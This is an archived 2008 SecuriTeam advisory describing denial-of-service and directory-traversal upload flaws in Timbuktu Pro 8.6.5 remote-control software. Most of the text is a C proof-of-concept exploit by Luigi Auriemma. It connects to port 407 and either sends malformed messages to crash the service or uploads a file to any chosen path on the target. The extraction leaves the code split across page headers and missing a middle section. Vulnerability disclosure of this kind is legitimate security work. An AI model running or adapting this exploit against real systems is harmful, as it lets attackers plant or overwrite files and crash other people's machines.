

[NT] Timbuktu Pro Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00028.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 12 Mar 2008 09:50:24 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Timbuktu Pro Multiple Vulnerabilities

SUMMARY

<<http://www.netopia.com/software/products/tb2/>> Timbuktu is "a software for controlling the computer remotely". Multiple vulnerabilities have been discovered in Timbuktu Pro which in turn allows remote attackers to write and overwrite files they would otherwise not have access to in addition to being able to crash the product.

DETAILS

Vulnerable Systems:

- * Timbuktu Pro Remote Control Software version 8.6.5 [RC 229]

Denial of Service

The instructions which handle the incoming instant messages are vulnerable to a couple of Denial of Service attacks. The first one consists in the possibility of crashing the program through an invalid Version field while the other type of bug is the freezing and the subsequent termination of Timbuktu using an invalid or incomplete message.

Limited upload directory traversal

Each message or attachment is considered by Timbuktu as a file which is

[NT] Timbuktu Pro Multiple Vulnerabilities

stored in temporary folders in the program's directory. Although the program uses various ways to avoid possible directory traversal attacks is still possible for an attacker to upload files with any filename in any location of the disk on which Timbuktu is running.

The only limitation in this vulnerability is that Timbuktu changes the name of the file if one with the same name already exists so for example if we specify notepad.exe but it already exists, the program will create the file notepad2.exe.

Exploit:

```
/*
```

by Luigi Auriemma – <http://aluigi.org/poc/timbuto.zip>

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/stat.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1

#endif

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;

#define VER "0.1"
#define PORT 407
#define BUFSIZE (6 + 0xffff)
```

[NT] Timbuktu Pro Multiple Vulnerabilities

```
#define MAXBLOCK 0x16c5
#define CRASH "Timbuktu Pro Note"
#define CRASHCPU "Timbuktu Pro Note\n" \
"Version: 2.0 Windows\n" \
"File:boom\n"

int putcc(u8 *data, int chr, int len);
int putsn(u8 *data, u8 *str);
int putmm(u8 *data, u8 *str, int len);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    struct stat xstat;
    FILE *fd = NULL;
    int sd,
    len,
    fsize;
    u16 port = PORT;
    u8 *buff,
    *lname,
    *rname,
    *p;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
    "Timbuktu Pro <= 8.6.5 [RC 229] vulnerabilities "VER"\n"
    "by Luigi Auriemma\n"
    "e-mail: aluigi@xxxxxxxxxxxxxx\n"
    "web: aluigi.org\n"
    "\n", stdout);

    if(argc < 4) {
        printf("\n"
        "Usage: %s <local_file> <remote_file> <host> [port(%hu)]\n"
        "\n"
        "Attacks examples:\n"
        " 1 = timbuto CRASH NOT1B.tbn 192.168.0.1\n"
```


[NT] Timbuktu Pro Multiple Vulnerabilities

```
"\x00\x00\x00\x00\x00", 182);
send(sd, buff, p - buff, 0);

send(sd, "\xff", 1, 0);

p = buff;
p += putxx(p, 0xfb, 8);
p += putxx(p, 0, 32);
p += putmm(p, "BINAmDOS", 8);
p += putxx(p, 0xffffffff, 32);
p += putxx(p, 0xffffffff, 32);
p += putxx(p, 0, 32);
p += putxx(p, fsize, 32);
p += putxx(p, 0, 32);
p += putxx(p, -1, 32);
p += putcc(p, 0, 18);
p += putsn(p, rname);
send(sd, buff, p - buff, 0);

send(sd, "\xf9\x00", 2, 0);

if(!strcmp(lname, "CRASH")) {
p = buff;
p += putxx(p, 0xf8, 8);
p += putxx(p, fsize, 16);
p += putmm(p, CRASH, fsize);
printf("- send malformed message\n");
send(sd, buff, p - buff, 0);

} else if(!strcmp(lname, "CRASHCPU")) {
p = buff;
p += putxx(p, 0xf8, 8);
p += putxx(p, fsize, 16);
p += putmm(p, CRASHCPU, fsize);
printf("- send malformed message\n");
send(sd, buff, p - buff, 0);

} else {
printf("- upload file: ");
for(;;) {
len = fread(buff + 3, 1, MAXBLOCK, fd);
if(len <= 0) break;
buff[0] = 0xf8;
putxx(buff + 1, len, 16);
send(sd, buff, 3 + len, 0);
fputc('.', stdout);
}
fclose(fd);
}

send(sd, "\xf7", 1, 0);
```

[NT] Timbuktu Pro Multiple Vulnerabilities

```
send(sd, "\xfa", 1, 0);
send(sd, "\xfe", 1, 0);
```

```
printf("\n- receive data: ");
for(;;) {
if(timeout(sd, 3) < 0) break;
len = recv(sd, buff, BUFSZ, 0);
if(len <= 0) break;
fputc('.', stdout);
}
```

```
close(sd);
free(buff);
printf("\n- done\n");
return(0);
}
```

```
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
```

```
int putsn(u8 *data, u8 *str) {
int len;
```

```
len = strlen(str);
data[0] = len;
memcpy(data + 1, str, len);
return(1 + len);
}
```

```
int putmm(u8 *data, u8 *str, int len) {
memcpy(data, str, len);
return(len);
}
```

```
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;

bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
```

[NT] Timbuktu Pro Multiple Vulnerabilities

```
}  
return(bytes);  
}
```

```
int timeout(int sock, int secs) {  
    struct timeval tout;  
    fd_set fd_read;  
  
    tout.tv_sec = secs;  
    tout.tv_usec = 0;  
    FD_ZERO(&fd_read);  
    FD_SET(sock, &fd_read);  
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)  
    <= 0) return(-1);  
    return(0);  
}
```

```
u32 resolv(char *host) {  
    struct hostent *hp;  
    u32 host_ip;  
  
    host_ip = inet_addr(host);  
    if(host_ip == INADDR_NONE) {  
        hp = gethostbyname(host);  
        if(!hp) {  
            printf("\nError: Unable to resolv hostname (%s)\n", host);  
            exit(1);  
        } else host_ip = *(u32 *)hp->h_addr;  
    }  
    return(host_ip);  
}
```

```
#ifndef WIN32  
void std_err(void) {  
    perror("\nError");  
    exit(1);  
}  
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@xxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:

[NT] Timbuktu Pro Multiple Vulnerabilities

<<http://aluiigi.altervista.org/adv/timbuto-adv.txt>>
<http://aluiigi.altervista.org/adv/timbuto-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.